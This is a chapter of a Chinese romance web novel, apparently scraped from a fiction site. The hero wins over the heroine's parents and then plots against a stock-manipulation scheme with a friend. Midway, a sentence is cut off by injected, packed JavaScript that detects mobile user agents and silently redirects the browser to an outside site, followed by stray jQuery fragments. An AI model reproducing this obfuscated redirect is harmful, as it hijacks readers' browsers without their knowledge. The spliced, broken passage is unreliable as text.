姜家的用餐气氛一度陷入温馨。


    用过饭后，姜涂和母亲在厨房切些时令水果，而陆清泽和姜德民在客厅里，姜德民窝在沙发看新闻，而陆清泽则拿出先前在超市里能买到的最贵的一茶叶端在他面前。


    “叔叔，我听姜涂说你喜欢喝茶，不如跟我说说你喜欢什么类型的茶，下次拜访我再给您带过来。”


    年少时期，姜德民就跟大部分家庭一样，是沉默寡言的那一个，陆清泽也同样如此，所以他们对彼此的认知都不深，如今立场转变，陆清泽急需在姜涂父母面前表现自己以得到认可。


    姜德民也不是傻子，自然看出来眼前这小子喜欢自己女儿。


    他沉吟片刻，却道：“嗐，咱都是工薪阶层，有什么喜不喜欢的，有得喝就不错了，我往常就爱喝些毛峰，绿茶，不是那讲究人，小陆你就不用多费心思了，太麻烦你了。”


    “叔叔你别这么说，以前你们这么照顾我，如今能帮到姜涂是我的荣幸，孝敬孝敬您跟阿姨也是应该的。”


    他的场面话滴水不漏，情绪却私下涌动——他能感觉到姜德民并不怎么满意他。


    但陆清泽表示理解，或许父女之间便是这样，是爸爸对女儿的私心作祟，不希望自家的鲜花被猪拱了吧，换作是他跟姜涂的女儿，他也一定会很排斥。


    姜德民神色晦涩，欲言又止，刚要开口就被厨房里端着果盘出来的母女俩打断。


    姜涂兴高采烈的：“哇，今天有荔枝、脆桃、西瓜和山竹，都是我爱吃的。”


    褚晓红跟着姜涂身后出来，抢先道：“都是托了泽泽的福，买的大果盘礼盒，真是破费了，我今个儿买了点葡萄和莲雾，不过咱们仨吃不了这么多，等周日涂涂回市里的时候，妈给你带回去一些。”


    姜涂甜甜应了声：“好~”


    陆清泽起身接过姜涂手中的果盘，放到客厅的茶几上，随即又顺势接过褚晓红手里的，他将牙签戳进水嫩多汁的果肉里，扎起来依次递给姜涂，褚晓红，最后给了姜德民。


    褚晓红接过水果后连道：“哎哟，泽泽，别这么客气，你是客人，自己吃哦，别见外。”


    姜涂将这一切看在眼里，她不动声色地啃了口西瓜，眼珠滴溜溜地转，给自己做了点心理建设，最后鼓足勇气，弯下腰，挨着茶几边剥了颗硕大的荔枝，扭身将它递到陆清泽的嘴边。


    命令身旁的陆清泽，道：“啊，张嘴。”


    氛围一时有些凝固，就连陆清泽都显得错愕，他迟疑着，像是慢了半拍似的张嘴，叼着那颗晶莹剔透的荔枝，甜腻的水分随着唇齿咀嚼迸发在口腔内，那股子甜蜜顺着食道仿佛一同顺进了他的心和脑子里。


    姜父姜母自然将这一幕看进了眼里。


    虽然二老先前在饭桌上就已经敏锐地嗅到了两人之间的暗流涌动，但姜涂自始至终没有主动回应过什么，他们自欺欺人想着应该是没什么。


    可姜涂都这样了，他们俩也不是瞎子更不是傻子，自然体会到了女儿跟陆清泽之间微妙的暧昧。


    “涂涂，你们……”


    “妈，我喜——”


    陆清泽没有给姜涂率先坦白的机会，抢先夺过她的话语权：“叔叔，阿姨，我在追求姜涂，以结婚为前提。”


    “我知道，时隔这么久第一次见面就跟您们说这个，太唐突了。但我还是想表个态，我是本着一万分的认真在说这件事的，用嘴说或许还是诚意不够，但接下来的日子我会好好表现的。”


    现场鸦雀无声，就连姜涂都没想到陆清泽会说出这些话。


    她原本只是觉得陆清泽有些卑微，她不忍心看他在自己父母面前那副没出息到甚至有些狗腿的样子，因此才会主动做出喂他吃水果的事。


    “我跟姜涂算是自小一块长大，咱们两家人也知根知底的，在外人看来，或许会觉得我是个很成功的人，但其实在面对你们时，我还是会忍不住像小时候那样抬不起头，总觉得我配不上姜涂，配不上姜家这么好的家庭氛围。”


    “说什么呢泽泽，我们家从来没有瞧不起你过。”


    “阿姨我不是那个意思，”陆清泽露出一丝苦笑，“我自小爹不疼娘不爱，若当年不是你们的照顾，我指不定哪天就要误入歧途了。”


    陆清泽的表情模样看着着实可怜见的，就连姜德民都不由得引起了恻隐之心，连忙打断他接下来要继续说的那些个悲观的话。


    “好了，不说这些。我们老一辈的，就不插手子女们感情的事了，你们小的自己看着办吧，要是涂涂喜欢，我作为父亲，自然不会阻挠你们。孩子他妈，你怎么看？”


    “我？我自然好啊，我打小就喜欢泽泽，要是姜涂喜欢，我怎么会反对呢？再说，泽泽知根知底的，你们真在一起我也放心。”


    姜涂不满，嘟囔道：“喂，我还没说同意呢。”


    “我说了，前提是，涂涂喜欢，那涂涂，你喜欢泽泽吗？”


    姜涂扫了一眼身旁的陆清泽，后者满怀期待地看向她，她撇撇嘴。


    “……看他表现。”


    陆清泽又在姜家坐了好一会儿，等到了晚上九点多才告辞。


    姜涂送他出门，郊区的路不比市区大陆平坦，一条道上全是坑坑洼洼的土路，街边的路灯也并非一排都是亮的，周围陷入黑暗里，姜涂只能打着手机的手电筒给陆清泽带路。


    其实就连姜涂都很少回郊区的家，这三年来回家次数甚至两只手都数得过来。


    刚才在姜家听陆清泽说那段肺腑之言，她也很难不被触动，觉得自己不够珍惜来之不易的亲情，在她认为习以为常的那些与家人共处的时光里，忘了这对于陆清泽是多么难能可贵的机会。


    他眼里的羡慕是骗不了人的。


    陆清泽兀自牵起姜涂的手，这一次她没有再矫情地推却。


    而是慢慢回握住对方。


    姜涂将陆清泽送到他停车的地方，两人在车头边依依不舍，两人抓着彼此的手晃来晃去的。


    陆清泽看着眼前娇羞地低着头的姜涂，抿了抿唇，鼓足勇气道：“姜涂，我真的很希望跟你成为一家人，同时也能拥有你的家人。”


    “我知道，但秦知知的问题你要怎么处理？难道要我告诉我爸妈，你已经有一个未婚妻了？”


    陆清泽斩钉截铁：“我不会让那种事发生的。”


    若要说陆清泽最近学到了什么，那就是从谢星野的建议中学会了打直球。


    这一招看来对姜涂有奇效，她从一开始听到自己要跟秦知知订婚时的抗拒，一直到现在态度有所缓和，全赖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702653|180394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他厚颜无耻的讨好。


    跟姜涂分开后，陆清泽开了两个小时的车回到市区，尽管晚上的路况比白天要顺畅不少，可到公司时还是已经接近凌晨，他看到办公室仍旧有灯光闪烁，便知谢星野还没有下班。


    他走进办公室，见谢星野仍旧笔耕不辍在屏幕前飞快地翻飞着指尖，后者听到门口的动静，头也不抬一下，猜到来者何人，开口道：“哄好了？”


    他叹了口气，径直走向谢星野的办公桌，走到他面前的办公椅上，一屁股坐下来，双手合十搭在身前，“算是吧。”


    “那接下来呢？哄完了姜涂，接下来什么计划？总不能瞒着那头真跟知知订婚吧？”


    “等拿下Diego的合约，我会让法务走程序，彻底让出美国分公司的经营权。”


    “好大的牺牲，堪比割肉啊。”谢星野咋舌，“你舍得？要知道‘清科’在国内的情况虽然设立的名义为总部，但主要决策权还是在美国那边。”


    “我只是不想美国的员工都失业而已，至于国内的事业，哪怕被架空了，我也大可以东山再起。”


    谢星野哂笑道：“看你说的这么高尚，我差点信了，我不觉得你会因为你那个丧心病狂的爹就甘心陷入知知设下的圈套，不如跟我说点心里话，你到底怎么想的？Ethan，我们认识这么多年了，可我始终摸不透你，觉得离你很远。”


    “我把你当哥们，但实际上在你心里，知知比较重要吧？”


    谢星野挑眉，哇哦了一声：“Fine，其实都不，比起你跟知知，良心对我比较重要。这也是为什么这次我会帮你的原因。”


    陆清泽不置可否：“那我拜托你的事你查得怎么样了？”


    谢星野将桌面上的基本调转了个头，将屏幕对着陆清泽那面，“查到了，秦珉跟陆天明果然背地里恶意操纵‘清科’的股价，这次美国清科的丑闻也是他们自己人传出去的，所谓的名单之类的全是假的。”


    “她知道这件事么？”


    谢星野知道陆清泽口中的那个‘她’指的是秦知知：“虽然很不想说，但她应该知道。所以她才愿意同意在订婚后退出美国清科，实则是为了撇清自己跟清科的关系，剥离之后发生的一切纷争。”


    “看来秦珉已经帮他的宝贝女儿想好一切了，到时候东窗事发，背锅侠就成了陆天明，还有与他有着血缘关系的儿子——我。”


    “可惜，秦知知没算到这一点，她想要你，却不知达成自己目的的最终结果是要你送进去，自己守活寡。秦珉狠起来，连自己女儿都算计。”


    “没事，我还有Diego这步后招。”


    “胜算多少？你就这么笃定？没有planb了吗？”


    陆清泽摇头：“没有，我不想给自己退路，不成功便成仁。”


    “赌徒，”谢星野给他下了定论，“我算是发现了，你跟你那个为老不尊的爹差不到哪里去，有时候即便拼命逃避，到头来也殊途同归，你俩不愧是父子。”


    陆清泽无法否认谢星野的话，实际上若不是姜涂一家，他兴许早就跌进了无尽深渊也说不定。


    在无数个午夜梦回，在即将堕落的前一秒，他只要想到姜涂，就能把持住自己的那一步。


    姜涂，就是他的安全词。